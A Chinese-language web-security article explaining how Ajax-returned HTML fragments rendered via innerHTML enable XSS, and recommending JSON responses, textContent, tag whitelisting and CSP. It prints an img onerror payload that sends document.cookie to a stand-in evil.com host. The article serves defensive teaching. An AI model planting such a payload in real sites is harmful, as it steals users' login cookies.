很多网站为了提升页面响应速度,会用Ajax请求后端接口,直接返回一段HTML代码,然后插入到当前页面中。这种方式看似方便,比如评论区加载、动态商品推荐、表单局部刷新等场景都在用,但背后藏着不小的安全风险。
为什么返回HTML片段有风险?
当Ajax请求拿到的是一段HTML,并通过 innerHTML 或 jQuery 的 html() 方法直接渲染时,相当于把服务器返回的内容当作可执行的标记语言来处理。如果后端没有严格过滤内容,攻击者可能注入恶意脚本。比如,返回的内容里包含:
<script>alert('XSS');</script>
一旦这段代码被插入页面,脚本就会在用户浏览器中执行。虽然弹个提示框看起来无害,但在真实攻击中,它可以窃取 Cookie、监听键盘输入,甚至冒充用户发起请求。
常见攻击场景
设想一个论坛,用户发帖内容被后台原样保存,前端通过Ajax拉取最新帖子并直接插入列表。如果有人发帖时写入:
<img src=x onerror=fetch('https://evil.com/steal?cookie='+document.cookie)>
其他用户一刷帖,图片加载失败触发 onerror,浏览器就把他们的登录凭证发到了攻击者的服务器。整个过程静默进行,用户毫无察觉。
如何安全处理HTML片段
最直接的办法是避免从后端返回可执行的HTML。更安全的做法是只传结构化数据,比如JSON:
{
"username": "小明",
"content": "今天天气不错",
"avatar": "/uploads/123.jpg"
}
前端收到后,用 createElement、textContent 等方式拼出DOM元素,确保内容不会被当作HTML解析。如果非得返回HTML,后端必须做严格的输出编码和白名单过滤,只允许安全的标签如 <b>、<i>、<br> 等,其他一律转义。
利用现代浏览器特性防御
Content Security Policy(CSP)能有效限制页面执行内联脚本。通过设置 HTTP 头:
Content-Security-Policy: default-src 'self'; script-src 'self'
可以阻止所有内联 script 执行,让上面那种 onerror 或 <script> 标签直接失效。配合 Ajax 使用时,即便不小心渲染了恶意代码,浏览器也不会运行它。
开发习惯也很关键
别图省事把服务端模板直接塞给前端。比如PHP或JSP生成了一块HTML,前端用 $.get('/partial') 拿回来就 $(#box).html(data),这种写法等于把安全责任全推给了后端。前后端都该有防线,前端也应默认对任何外部输入保持警惕,哪怕“理论上”它来自自己人。
实际项目中,见过不少团队因为赶进度,先用HTML片段快速上线,后续再“优化”。结果这个“临时方案”一跑就是三年,漏洞也就跟着跑了三年。